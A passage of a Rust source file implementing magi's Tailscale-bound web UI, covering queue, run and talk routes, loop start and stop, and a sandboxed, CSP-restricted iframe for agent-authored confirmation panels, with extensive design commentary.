Skip to main content

magi/
web.rs

1//! The web UI: magi's queue and run history, readable from a phone.
2//!
3//! The terminal is the wrong surface for the two things an operator actually
4//! does between runs — file a task and check whether the last competition
5//! landed. Both happen away from the desk, so they get an HTTP surface: a
6//! handful of JSON routes and three embedded files.
7//!
8//! # One binary
9//!
10//! `index.html`, `app.css` and `app.js` are compiled in with [`include_str!`].
11//! There is no `--assets-dir` and no filesystem fallback, because a UI that
12//! reads its own front end from disk breaks the moment the binary is copied
13//! somewhere else — which is exactly what `cargo install magi-cli` does. No
14//! JS toolchain, no CDN, no remote font: everything the phone needs arrives
15//! from this process.
16//!
17//! # No authentication
18//!
19//! There is none, deliberately, and the startup log says so. The tailnet is
20//! the security boundary: `--bind auto` resolves to this machine's Tailscale
21//! address, so the UI is reachable from the operator's own devices and from
22//! nothing else. Anyone who can open the URL can file and hold tasks, which is
23//! why binding to `0.0.0.0` is not offered and why the fallback when Tailscale
24//! is missing is loopback rather than every interface.
25//!
26//! # Change notification
27//!
28//! A phone must not poll a full run list on a mobile link. `GET /api/events`
29//! is a server-sent stream carrying nothing but two revision numbers — the
30//! newest modification time in the queue and under the runs directory — so the
31//! client refetches only what moved. The browser's own SSE reconnection covers
32//! a sleeping phone; there is no session to lose.
33//!
34//! # Reading state must never take the server down
35//!
36//! A corrupt `run.json` is skipped in the list and explained with a 500 on the
37//! detail route. No handler unwraps a filesystem or parse result: a single bad
38//! file left by a killed run would otherwise turn the whole history into a
39//! blank page.
40//!
41//! # Agent-authored HTML, rendered anyway
42//!
43//! Everything else here refuses to put API data into the document: `app.js`
44//! builds nodes and sets `textContent`, and even an href from a run record is
45//! laundered first. A confirmation panel breaks that rule on purpose - an
46//! agent asking the owner to approve a merge needs a diff and a table, not one
47//! line of prose - and the only reason it is acceptable is that the panel is
48//! never part of this document.
49//!
50//! It is served by [`question_panel`] and [`question_asset`] and rendered in an
51//! `<iframe sandbox>` carrying no tokens: no `allow-scripts`, no
52//! `allow-same-origin`. So no script in a panel runs, and the frame cannot
53//! reach the parent document, the cookie jar or `localStorage`. On top of that
54//! both routes send [`PANEL_CSP`], which denies every network destination, so a
55//! panel cannot phone home through a remote image or a beacon either - the two
56//! things it may load, images and inline CSS, are the two things free
57//! formatting actually needs. Assets come from the question's own directory and
58//! never from the network, and their content types come from a closed
59//! whitelist, so an agent cannot get markup rendered outside the frame by
60//! naming a file `.html`.
61//!
62//! # A conversation turn is not a filesystem read
63//!
64//! Every other route here is disk work, which is why [`blocking`] exists.
65//! `POST /api/talks/{id}/say` is the exception: it spawns an agent CLI and
66//! waits tens of seconds for a sentence. It is a plain `await` holding no lock
67//! and no executor thread, and concurrent turns on one talk are refused rather
68//! than queued - see [`Ui::begin_talk_turn`].
69//!
70//! # The loop runs here
71//!
72//! `magi web` runs the queue loop in this process, started and stopped from
73//! `/api/loop`. That is the point of the whole surface: a task filed from a
74//! phone with nobody around to type `magi serve` is a task that sits in the
75//! queue until someone walks back to the machine.
76//!
77//! It is a tokio task holding a [`daemon::Stop`], not a child process. There
78//! is no pid file of this module's own and nothing to supervise - a child
79//! would need reaping, a second copy of the daemon's retry policy, and a
80//! story for what happens when `magi web` dies with the loop still running.
81//! `<home>/daemon.json`, which the loop itself writes, stays the only
82//! cross-process signal, and it is how this process notices that the
83//! operator's own `magi serve` already owns the loop and refuses to start a
84//! second one that would fight it for claims.
85//!
86//! Stopping is cooperative and therefore not instant. A run in flight is
87//! finished first, for the reason [`daemon::serve`] gives: killing the graph
88//! mid-node leaves worktrees, branches and agent sessions behind and throws
89//! away every agent call already paid for. `POST /api/loop` sets the flag and
90//! answers immediately rather than waiting, because the wait is measured in
91//! tens of minutes and the operator is holding a phone.
92
93use std::collections::{HashMap, HashSet};
94use std::convert::Infallible;
95use std::net::{IpAddr, Ipv4Addr, SocketAddr};
96use std::path::{Path as FsPath, PathBuf};
97use std::pin::Pin;
98use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
99use std::time::Duration;
100use tokio::sync::Notify;
101
102use anyhow::{Context, Result};
103use axum::Json;
104use axum::Router;
105use axum::body::Bytes;
106use axum::extract::rejection::JsonRejection;
107use axum::extract::{DefaultBodyLimit, Path, Query, State};
108use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
109use axum::response::sse::{Event, KeepAlive, Sse};
110use axum::response::{IntoResponse, Response};
111use axum::routing::{get, post, put};
112use jiff::Timestamp;
113use serde::{Deserialize, Serialize};
114use tokio_stream::StreamExt as _;
115use tokio_stream::wrappers::ReceiverStream;
116
117use crate::agent;
118use crate::ask::{self, Answer, Question, Questions};
119use crate::config::{AgentKind, Config, Update, UpdateMode};
120use crate::md;
121use crate::notices::{Notice, Notices};
122use crate::persona;
123use crate::proc::Quiet as _;
124use crate::queue::{Queue, Source, Task, TaskStatus, title_from};
125use crate::run::{RunState, RunStatus};
126use crate::talk::{Talk, Talks};
127use crate::{daemon, git, report, repos, run, settings, stats, talk, updater};
128
129/// Default port. Chosen high and memorable; nothing else in the fleet uses it.
130pub const DEFAULT_PORT: u16 = 7878;
131
132/// How often the change stream restats the queue and the runs directory.
133const POLL: Duration = Duration::from_secs(1);
134
135/// Keep-alive interval for the change stream. Phones and intermediaries drop
136/// an idle connection within a minute; a comment every fifteen seconds keeps
137/// the stream alive without waking the radio often enough to matter.
138const KEEPALIVE: Duration = Duration::from_secs(15);
139
140/// Ceiling on how long [`run_update_recheck`] ever sleeps between wake-ups.
141///
142/// A fixed period this long would not track a `[update] interval` shorter
143/// than itself: an operator who set `interval = "1m"` to make the deck
144/// notice a release within a minute would still wait up to fifteen of them
145/// for the next wake-up to even ask [`updater::Checker::should_check`].
146/// [`recheck_poll_period`] scales the sleep with the configured interval
147/// instead, and this is only its ceiling - reached at the default interval
148/// of a day, where waking any more often would just spend cycles asking a
149/// question that stays "no" for hours.
150const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
151
152/// Floor on the same, so a very short `[update] interval` cannot spin
153/// [`run_update_recheck`] in a near-busy loop.
154const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
155
156/// Runs returned when the client does not ask, and the ceiling if it asks for
157/// more. The cap exists because the list handler parses every `run.json` it
158/// returns, and a phone cannot render two thousand rows anyway.
159const LIST_DEFAULT: usize = 50;
160/// Upper bound for `?limit=`.
161const LIST_MAX: usize = 500;
162
163/// Width of a generated task title, matching what the CLI uses.
164const TITLE_MAX: usize = 72;
165
166/// Per-file cap for an attachment upload.
167///
168/// Enforced twice: axum's own body limit is raised one byte above this, only
169/// on the two attachment `POST` routes (see the router - every other route
170/// keeps the crate-wide default), so an oversize body is still read far
171/// enough to answer with our own message below rather than axum's generic
172/// one; this constant is what that message and the boundary check actually
173/// compare against.
174const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;
175
176/// The image types an attachment upload accepts - a closed whitelist, the
177/// same posture [`asset_content_type`] takes for panel assets and for the
178/// same reason: SVG is excluded on purpose because it is active content
179/// (it may carry `<script>`) and not merely a picture, so it never appears
180/// here even though `image/svg+xml` is a real IANA type.
181const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];
182
183/// Header carrying the operator's own filename. Free text, stored only for
184/// display - see [`talk::Attachment::name`]'s doc on why it never
185/// contributes to a path.
186const FILENAME_HEADER: &str = "x-filename";
187
188/// The header that makes serving agent-authored HTML defensible, sent by both
189/// panel routes and asserted verbatim by a test.
190///
191/// Read it as a list of things a hostile panel cannot do. `default-src 'none'`
192/// denies every fetch destination that is not re-allowed below, which is all of
193/// them except images and fonts; `img-src 'self' data:` means an image comes
194/// from magi's own asset route or from the document itself, so a panel cannot
195/// signal an outside server by pointing an `<img>` at it - the classic
196/// exfiltration channel for markup that cannot run script. `style-src
197/// 'unsafe-inline'` is the one permission granted, because inline CSS is what
198/// free formatting means here and a style sheet cannot make a request that
199/// `default-src` has not already allowed. `base-uri 'none'` stops a `<base>`
200/// tag re-pointing the relative asset URLs somewhere else, `form-action 'none'`
201/// stops a form posting the owner's decision to a third party, and
202/// `frame-ancestors 'self'` stops another site framing the panel to phish with
203/// it.
204///
205/// There is deliberately no `script-src`: `default-src 'none'` already covers
206/// it, and the sandboxed frame carries no `allow-scripts` either, so script is
207/// denied twice over. Weakening any directive here is the difference between a
208/// panel the owner reads and a page that can talk to the tailnet, which is why
209/// the test compares the whole string rather than looking for a substring.
210const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
211                         font-src data:; base-uri 'none'; form-action 'none'; \
212                         frame-ancestors 'self'";
213
214const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
215const APP_CSS: &str = include_str!("../assets/ui/app.css");
216const APP_JS: &str = include_str!("../assets/ui/app.js");
217
218/// Which address to listen on.
219#[derive(Debug, Clone, Copy, PartialEq, Eq)]
220pub enum Bind {
221    /// Ask Tailscale, and fall back to loopback with a warning.
222    Auto,
223    /// An address the operator named.
224    Addr(IpAddr),
225}
226
227impl std::str::FromStr for Bind {
228    type Err = String;
229
230    /// `auto`, or anything [`IpAddr`] accepts. Parsing lives with the type so
231    /// the CLI can take `--bind` straight into it: the one spelling of
232    /// `auto` that matters is the one this function knows.
233    fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
234        if s.eq_ignore_ascii_case("auto") {
235            return Ok(Self::Auto);
236        }
237        s.parse()
238            .map(Self::Addr)
239            .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
240    }
241}
242
243impl std::fmt::Display for Bind {
244    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
245        match self {
246            Self::Auto => f.write_str("auto"),
247            Self::Addr(addr) => write!(f, "{addr}"),
248        }
249    }
250}
251
252/// How to serve.
253#[derive(Debug, Clone)]
254pub struct Opts {
255    /// Address to listen on.
256    pub bind: Bind,
257    /// Port to listen on.
258    pub port: u16,
259    /// Repository used for tasks posted without one.
260    pub repo: PathBuf,
261    /// Print the URL on its own line for a caller that wants to hand it to a
262    /// browser. magi never launches one itself.
263    pub open: bool,
264    /// Merge mode override for the loop this process runs (`none`, `local`,
265    /// `pr`); `None` leaves it to each repository's own config.
266    ///
267    /// The same override `magi serve --merge` takes, and here for the same
268    /// reason: `magi web` is now the thing that runs the loop, so an operator
269    /// who wants this session's runs to open pull requests has to be able to
270    /// say so without going back to the command they no longer type.
271    pub merge: Option<String>,
272}
273
274impl Default for Opts {
275    fn default() -> Self {
276        Self {
277            bind: Bind::Auto,
278            port: DEFAULT_PORT,
279            repo: PathBuf::from("."),
280            open: false,
281            merge: None,
282        }
283    }
284}
285
286/// Everything the handlers touch.
287///
288/// The queue, the runs directory and the magi home are fields rather than
289/// process-global lookups so a test drives the real router against a temp
290/// directory instead of the operator's own history.
291#[derive(Debug, Clone)]
292pub struct Ui {
293    queue: Queue,
294    questions: Questions,
295    /// `<home>/notifications`, the bell's own store. Derived from `home` in
296    /// [`Ui::new`] so no constructor signature had to grow.
297    notices: Notices,
298    talks: Talks,
299    runs: PathBuf,
300    home: PathBuf,
301    repo: PathBuf,
302    /// Where the runs' worktrees live, for the health disk figures.
303    ///
304    /// Spelled independently of [`crate::run::default_worktree_root`] so the
305    /// test servers can point it at their own temp directory: the health route
306    /// sizes it, and sizing the operator's real `~/wt/magi` from a test would
307    /// be measuring the machine instead of the server.
308    worktrees_root: PathBuf,
309    /// Talks with an agent turn in flight right now.
310    ///
311    /// In-process and therefore not durable, which is correct: it guards
312    /// against two taps on one phone and two phones on one tailnet, both of
313    /// which are this process's own concurrency. A second `magi web` would not
314    /// see it, and a second `magi web` on the same home is already a
315    /// misconfiguration the queue's claims would catch first.
316    talk_turns: Arc<Mutex<TalkTurns>>,
317    /// Held by `POST /api/upgrade` from its busy-stage check until the first
318    /// progress record is written, so two taps cannot both start an upgrade.
319    /// After that `upgrade.json` carries the exclusion.
320    upgrade_gate: Arc<tokio::sync::Mutex<()>>,
321    /// Set once an upgrade task is spawned, cleared when it fails. Keeps the
322    /// exclusion in memory for when `upgrade.json` could not be written.
323    upgrade_spawned: Arc<std::sync::atomic::AtomicBool>,
324    /// Runs this process is resuming right now.
325    ///
326    /// Separate from `talk_turns` because a run and a talk are different
327    /// things to hold, and a resume is far more expensive to start twice: it
328    /// re-asks agent seats. Same reasoning about scope as `talk_turns` — this
329    /// guards two taps and two phones, which is this process's own
330    /// concurrency.
331    resuming: Arc<Mutex<HashSet<String>>>,
332    /// The last scan of `[repos] roots`, and when it happened. Shared across
333    /// requests so polling `GET /api/repos` repeatedly does not repeat the
334    /// filesystem walk every time - see [`repos::Cache`].
335    repos_cache: repos::Cache,
336    /// The machine-config file the settings screen reads and writes: always
337    /// [`Config::machine_layer`], never anything a request names. A field so a
338    /// test can point it at its own temp directory instead of the operator's.
339    machine_config: Option<PathBuf>,
340    /// Merge mode override handed to the loop this process starts.
341    merge: Option<String>,
342    /// The loop this process is running, if it is running one.
343    looping: Arc<Mutex<LoopState>>,
344    /// How a loop is actually started.
345    ///
346    /// A field rather than a direct call to [`daemon::serve_until`], because
347    /// the real loop resolves its queue and its status file through the
348    /// process-global magi home and claims whatever it finds there. A test
349    /// that started it would reach straight past its own temp directory into
350    /// the operator's live queue, overwrite the status file of the `magi
351    /// serve` that owns it, and spend real agent quota on a real competition.
352    /// What the routes have to get right is the bookkeeping, so the tests
353    /// drive the routes against a loop that only starts and stops; production
354    /// is [`launch_daemon`] and nothing reassigns it.
355    launch: Launch,
356    /// A test-only stop point inside `talk_say`'s busy branch. See
357    /// [`BusyQueueGate`].
358    #[cfg(test)]
359    busy_queue_gate: Arc<Mutex<Option<BusyQueueGate>>>,
360}
361
362/// A one-shot stop point the busy branch's queued-draft write can be made to
363/// pause at, right before [`talk::queue`] runs.
364///
365/// Exists because a test cannot otherwise pin *when*, relative to the turn
366/// slot being freed, that write happens: `blocking` runs it on
367/// `spawn_blocking`, whose `JoinHandle` resolves in a single poll if the job
368/// already finished, so counting polls on the handler future to park it at a
369/// particular `.await` is a guess about scheduling, not a fact about it - see
370/// `a_dropped_handler_future_after_queueing_still_drains_the_draft`, which
371/// used to do exactly that and paid for it with an occasional "async fn
372/// resumed after completion" panic under load.
373///
374/// `reached` fires the instant the write is about to run, so a test waits for
375/// a real event instead of a poll count. `release` then blocks the write
376/// until the test says to continue; it is a `std::sync::mpsc::Receiver`
377/// rather than an async channel because this all happens inside the
378/// `spawn_blocking` closure the write already runs on, off any runtime
379/// worker, so blocking here costs nothing the write was not already going to
380/// cost.
381#[cfg(test)]
382struct BusyQueueGate {
383    reached: tokio::sync::oneshot::Sender<()>,
384    release: std::sync::mpsc::Receiver<()>,
385}
386
387#[cfg(test)]
388impl std::fmt::Debug for BusyQueueGate {
389    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
390        f.debug_struct("BusyQueueGate").finish_non_exhaustive()
391    }
392}
393
394impl Ui {
395    /// A server over explicit paths.
396    pub fn new(
397        queue: Queue,
398        questions: Questions,
399        talks: Talks,
400        runs: PathBuf,
401        home: PathBuf,
402        repo: PathBuf,
403    ) -> Self {
404        Self {
405            queue,
406            questions,
407            notices: Notices::at(home.join("notifications")),
408            talks,
409            runs,
410            home,
411            repo,
412            // The default location, overridden by `with_worktrees_root` - a
413            // builder step rather than a ninth parameter, for the reason
414            // `with_merge` gives.
415            worktrees_root: run::default_worktree_root(),
416            talk_turns: Arc::default(),
417            upgrade_gate: Arc::default(),
418            upgrade_spawned: Arc::default(),
419            resuming: Arc::default(),
420            repos_cache: repos::Cache::new(),
421            machine_config: Config::machine_layer(),
422            merge: None,
423            looping: Arc::default(),
424            launch: launch_daemon,
425            #[cfg(test)]
426            busy_queue_gate: Arc::default(),
427        }
428    }
429
430    /// The operator's own state: `<home>/queue`, `<home>/questions`,
431    /// `<home>/talks`, `<home>/runs`.
432    pub fn open(repo: PathBuf) -> Self {
433        Self::new(
434            Queue::open(),
435            Questions::open(),
436            Talks::open(),
437            run::runs_root(),
438            run::home(),
439            repo,
440        )
441    }
442
443    /// The merge mode the loop should use, as the command line gave it.
444    ///
445    /// A builder step rather than a seventh parameter on [`Ui::new`], because
446    /// the override is a property of how this process was invoked and not of
447    /// where its state lives - which is all the tests that build a `Ui` by
448    /// hand are saying.
449    #[must_use]
450    pub fn with_merge(mut self, merge: Option<String>) -> Self {
451        self.merge = merge;
452        self
453    }
454
455    /// The machine-config file the settings screen writes, when it is not
456    /// [`Config::machine_layer`] (tests).
457    #[cfg(test)]
458    #[must_use]
459    fn with_machine_config(mut self, path: Option<PathBuf>) -> Self {
460        self.machine_config = path;
461        self
462    }
463
464    /// Where the runs' worktrees live, when it is not the default.
465    ///
466    /// The health view sizes this directory, so a test that leaves it at the
467    /// default would be measuring the operator's own machine.
468    #[must_use]
469    pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
470        self.worktrees_root = root;
471        self
472    }
473
474    /// Point the loop at something other than [`launch_daemon`].
475    ///
476    /// Test-only, and deliberately: see [`Ui::launch`] for why no test in
477    /// this crate may start the real loop.
478    #[cfg(test)]
479    #[must_use]
480    fn with_launch(mut self, launch: Launch) -> Self {
481        self.launch = launch;
482        self
483    }
484
485    /// Install a [`BusyQueueGate`] for the next pass through the busy
486    /// branch's queued-draft write, replacing any earlier one.
487    ///
488    /// A setter on `&self` rather than a `with_*` builder consumed once,
489    /// because a test that drives the busy branch more than once (as
490    /// `a_dropped_handler_future_after_queueing_still_drains_the_draft` does,
491    /// to build confidence the interleaving is handled deterministically and
492    /// not just on a lucky run) needs a fresh channel pair each time, on the
493    /// one `Ui` it already built its temp directories around.
494    #[cfg(test)]
495    fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
496        *self
497            .busy_queue_gate
498            .lock()
499            .unwrap_or_else(PoisonError::into_inner) = Some(gate);
500    }
501
502    /// The loop's state, for [`serve`]'s own way out.
503    fn looping(&self) -> Arc<Mutex<LoopState>> {
504        Arc::clone(&self.looping)
505    }
506
507    /// Start the loop in this process, or say who already has one.
508    ///
509    /// `foreign` is passed in rather than read here so that one request makes
510    /// one judgement about who owns the loop: reading the status file again
511    /// inside this function could refuse a start for a daemon the same
512    /// response then reports as gone.
513    fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
514        if let Some(other) = foreign {
515            return Err(ApiError::conflict(format!(
516                "{} is already running the loop, so this one will not start a \
517                 second: two loops on one queue race for the same claims and \
518                 burn the agent quota twice over. Stop it where it was \
519                 started.",
520                other.who()
521            )));
522        }
523        let mut state = self.lock_loop();
524        if state.live.as_ref().is_some_and(Live::alive) {
525            return Err(ApiError::conflict(format!(
526                "this magi web process (pid {}) is already running the loop",
527                std::process::id()
528            )));
529        }
530
531        let stop = daemon::Stop::new();
532        // The CLI's own defaults for everything the UI has no opinion about:
533        // one poll interval and one retry budget, so a loop started from a
534        // phone behaves exactly like the `magi serve` it replaces.
535        let opts = daemon::Opts {
536            repo: self.repo.clone(),
537            merge: self.merge.clone(),
538            // Whatever this `Ui` already reports worktree sizes and folds
539            // against (see `with_worktrees_root`) is what the loop it starts
540            // must reclaim orphaned worktrees under too - two different
541            // opinions about where the worktree bay is would leave the
542            // janitor pass reclaiming a directory nothing else on this
543            // process is even looking at.
544            worktrees_root: Some(self.worktrees_root.clone()),
545            ..daemon::Opts::default()
546        };
547        let launch = self.launch;
548        let looping = Arc::clone(&self.looping);
549        let handle = tokio::spawn({
550            let opts = opts.clone();
551            let stop = stop.clone();
552            async move {
553                let failure = match launch(opts, stop).await {
554                    Ok(()) => None,
555                    Err(e) => Some(format!("{e:#}")),
556                };
557                match &failure {
558                    Some(why) => tracing::error!("the loop stopped: {why}"),
559                    None => tracing::info!("the loop stopped"),
560                }
561                // Recorded by the task itself rather than reaped by whichever
562                // request happens next, so `loop_rev` moves the moment the
563                // loop ends and a phone with the change stream open learns
564                // that it did. Clearing `live` drops this task's own handle,
565                // which only detaches it, and is the last thing it does.
566                let mut state = lock_or_recover(&looping);
567                state.live = None;
568                state.last_error = failure;
569                state.rev += 1;
570            }
571        });
572        tracing::info!(
573            "the loop is now running in this process: repo {}, merge {}",
574            opts.repo.display(),
575            opts.merge.as_deref().unwrap_or("as the config says")
576        );
577        state.live = Some(Live { stop, handle, opts });
578        // A fresh start is not the place to keep showing why the last one
579        // died; the operator has read it and pressed the button anyway.
580        state.last_error = None;
581        state.rev += 1;
582        Ok(())
583    }
584
585    /// Ask the loop to stop, without waiting for it to get there.
586    ///
587    /// Idempotent: a second tap on stop is not an error, because the first one
588    /// leaves the loop running for as long as the run in flight takes and the
589    /// operator has no way to tell a slow stop from a lost one.
590    fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
591        if let Some(other) = foreign {
592            return Err(ApiError::conflict(format!(
593                "the loop belongs to {}, and this process cannot stop it - \
594                 stop it where it was started. A button that silently did \
595                 nothing would be worse than this refusal.",
596                other.who()
597            )));
598        }
599        let mut state = self.lock_loop();
600        // An operator who stops the loop has decided it stays stopped, even
601        // across an upgrade that was already in flight.
602        if !park {
603            state.resume_after_handover = false;
604        }
605        let Some(live) = state.live.as_ref() else {
606            return Ok(());
607        };
608        // A park upgrades a stop that has already been asked for: the
609        // operator who tapped "stop" and then realised the run has an hour
610        // left must not have to restart the loop to change their mind.
611        if live.stop.stopped() && (!park || live.stop.parking()) {
612            return Ok(());
613        }
614        if park {
615            live.stop.park();
616            tracing::info!("the loop was asked to park; the run stops at its next node boundary");
617        } else {
618            live.stop.stop();
619            tracing::info!("the loop was asked to stop; a run in flight is finished first");
620        }
621        state.rev += 1;
622        Ok(())
623    }
624
625    /// The loop as both `/api/loop` and `/api/health` report it.
626    ///
627    /// `reading` is the caller's single read of `<home>/daemon.json`, because
628    /// health answers with this view *and* the daemon object beside it: one
629    /// read per response is what stops a single answer naming a foreign owner
630    /// in one field and calling the loop free in the other.
631    fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
632        let state = self.lock_loop();
633        // A loop that panicked never recorded its own end, so the handle -
634        // not the presence of the record - is what "running" means.
635        let live = state.live.as_ref().filter(|live| live.alive());
636        LoopView {
637            running: live.is_some(),
638            stopping: live.is_some_and(|live| live.stop.finishing()),
639            parking: live.is_some_and(|live| live.stop.parking()),
640            owned: live.is_some(),
641            repo: live
642                .map_or(&self.repo, |live| &live.opts.repo)
643                .display()
644                .to_string(),
645            merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
646            last_error: state.last_error.clone(),
647            daemon: DaemonView::of(reading),
648        }
649    }
650
651    /// Start the loop in a successor whose predecessor was running one.
652    ///
653    /// Goes through the same path as the UI's start-loop action. A refusal
654    /// (another process owns the loop) is logged and left in `last_error`;
655    /// the loop then simply stays stopped.
656    fn resume_after_handover(&self, resume: bool) -> bool {
657        if !resume {
658            return false;
659        }
660        let foreign = Foreign::of(daemon::read_status(&self.home).as_ref());
661        match self.start_loop(foreign) {
662            Ok(()) => true,
663            Err(e) => {
664                let why = format!(
665                    "the loop could not be resumed after the upgrade: {}",
666                    e.message
667                );
668                tracing::warn!("{why}");
669                let mut state = self.lock_loop();
670                state.last_error = Some(why);
671                state.rev += 1;
672                false
673            }
674        }
675    }
676
677    /// Take the loop lock. See [`lock_or_recover`] for why it cannot fail.
678    fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
679        lock_or_recover(&self.looping)
680    }
681
682    /// Whether this process currently owns the agent turn for `id`.
683    ///
684    /// This deliberately describes only the in-memory claim made by
685    /// [`Ui::begin_talk_turn`]. It is not conversation data and therefore is
686    /// never persisted with a [`Talk`].
687    fn is_thinking(&self, id: &str) -> bool {
688        self.talk_turns
689            .lock()
690            .is_ok_and(|turns| turns.live.contains(id))
691            // Another process (the CLI) can hold the turn through the
692            // on-disk lease.
693            || self.talks.turn_held(id)
694    }
695
696    /// Claim the right to run one turn in a talk, or report that it is busy.
697    ///
698    /// A talk is strictly turn-based: the agent is resumed with the
699    /// conversation it already has, so two turns running at once would resume
700    /// the same session twice and append their answers in whatever order the
701    /// two CLIs finished in. The operator would come back to a transcript
702    /// with two half-turns interleaved, which is unreadable and, worse,
703    /// unfixable - there is no undo for a persisted turn.
704    ///
705    /// A busy result is queued as a durable draft by [`talk_say`], rather than
706    /// starting a second CLI invocation for the same session.
707    ///
708    /// The lock is a `std::sync::Mutex` and never crosses an `await`: it is
709    /// taken to test-and-insert and released before the agent is spawned. The
710    /// returned guard removes the id on drop, which is what makes a panicking
711    /// handler or a phone that walks out of range leave the talk usable - axum
712    /// drops the handler future when the client disconnects, and without the
713    /// guard that talk would be wedged until the server restarted.
714    fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
715        self.claim_talk_turn(id, false)
716    }
717
718    /// Claim a turn after durably queueing a draft, or notify its current
719    /// owner that a drainer must recheck before it releases the slot.
720    fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
721        self.claim_talk_turn(id, true)
722    }
723
724    fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
725        let mut live = self
726            .talk_turns
727            .lock()
728            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
729        if live.parking {
730            if queued {
731                // The draft is already durable; nothing may drain it until
732                // the successor is up, so the caller sees a busy slot.
733                *live.queued.entry(id.to_owned()).or_default() += 1;
734                return Ok(None);
735            }
736            return Err(ApiError::conflict(UPGRADE_IN_PROGRESS));
737        }
738        let inserted = live.live.insert(id.to_owned());
739        // The on-disk lease is the cross-process half of the gate. Taken
740        // second, and undone if lost, so `live` never claims a turn the lease
741        // refused.
742        let lease = if inserted {
743            match self.talks.claim_turn(id) {
744                Ok(Some(lease)) => Some(lease),
745                Ok(None) => {
746                    live.live.remove(id);
747                    None
748                }
749                Err(e) => {
750                    live.live.remove(id);
751                    return Err(ApiError::from(e));
752                }
753            }
754        } else {
755            None
756        };
757        if lease.is_none() {
758            if queued {
759                // A queued write has landed before this busy check.
760                // `drain_loop` uses this generation to recheck after its
761                // off-thread disk read, so it cannot release a turn between
762                // this check and the write.
763                *live.queued.entry(id.to_owned()).or_default() += 1;
764            }
765            return Ok(None);
766        }
767        Ok(Some(TalkTurnGuard {
768            talk: id.to_owned(),
769            turns: Arc::clone(&self.talk_turns),
770            released: false,
771            lease,
772        }))
773    }
774
775    /// Decide whether a free talk may start a new immediate turn while its
776    /// claim lock is held. A persisted draft without an owner is recovery
777    /// state, not a busy turn: two simultaneous `/say` requests must both
778    /// leave it untouched rather than one of them appending to it.
779    fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
780        let mut live = self
781            .talk_turns
782            .lock()
783            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
784        // Same answer as a running turn: the text is queued as a draft.
785        if live.parking || live.live.contains(id) {
786            return Ok(TalkTurnStart::Busy);
787        }
788        let Some(lease) = self.talks.claim_turn(id).map_err(ApiError::from)? else {
789            return Ok(TalkTurnStart::Foreign);
790        };
791        // A refused `Pending` below drops the lease again.
792        let talk = self.talks.get(id).map_err(ApiError::from)?;
793        if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
794            return Ok(TalkTurnStart::Pending);
795        }
796        live.live.insert(id.to_owned());
797        Ok(TalkTurnStart::Claimed(TalkTurnGuard {
798            talk: id.to_owned(),
799            turns: Arc::clone(&self.talk_turns),
800            released: false,
801            lease: Some(lease),
802        }))
803    }
804
805    /// The shared turn slots, for the upgrade hand-over to wait on.
806    fn turns(&self) -> Arc<Mutex<TalkTurns>> {
807        Arc::clone(&self.talk_turns)
808    }
809
810    /// Park the loop for an upgrade, and report the run that is parking.
811    ///
812    /// A park rather than a stop: a stop waits out the whole competition, and
813    /// not waiting is the point of upgrading from a phone. `None` means
814    /// nothing was in flight, which is worth saying so the operator is not
815    /// told a run is parking when none is.
816    fn park_for_upgrade(&self) -> ApiResult<Option<String>> {
817        let parking = {
818            let mut state = self.lock_loop();
819            // Decided here, before the park: by the time the handover fires
820            // an idle loop has already seen the park and ended, so `live`
821            // would read as "was never running". A loop the operator had
822            // already stopped stays stopped.
823            //
824            // Sticky: a second upgrade request finds the loop already
825            // stopping because of the first one's park, and must not read
826            // that as the operator having stopped it. Only an explicit stop
827            // or a failed update clears an earlier intent.
828            let resume = state.resume_after_handover
829                || state
830                    .live
831                    .as_ref()
832                    .is_some_and(|live| live.alive() && !live.stop.stopped());
833            state.resume_after_handover = resume;
834            let Some(live) = state.live.as_ref() else {
835                return Ok(None);
836            };
837            let busy = live.stop.busy_now();
838            live.stop.park();
839            state.rev += 1;
840            busy
841        };
842        Ok(if parking {
843            // More than one run can be in flight now (see
844            // `Config::daemon.max_concurrent_runs`); this answer names one of
845            // them so the operator sees a park actually happened, not every
846            // run a park now asks to stop at its next boundary.
847            daemon::current_work(&self.home, jiff::Timestamp::now())
848                .into_iter()
849                .next()
850                .map(|c| c.run)
851        } else {
852            None
853        })
854    }
855
856    /// Claim a run for a resume, on the same reasoning as
857    /// [`Ui::begin_talk_turn`]: a guard that releases on drop, so a
858    /// disconnected phone does not wedge the run until the server restarts.
859    fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
860        let mut live = self
861            .resuming
862            .lock()
863            .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
864        if !live.insert(id.to_owned()) {
865            return Err(ApiError::conflict(format!(
866                "run {id} is already being resumed"
867            )));
868        }
869        Ok(ResumeGuard {
870            run: id.to_owned(),
871            resuming: Arc::clone(&self.resuming),
872        })
873    }
874
875    /// The router, with this state baked in.
876    ///
877    /// The three front-end files get one explicit route each rather than a
878    /// path parameter, so there is no traversal surface to get wrong: the set
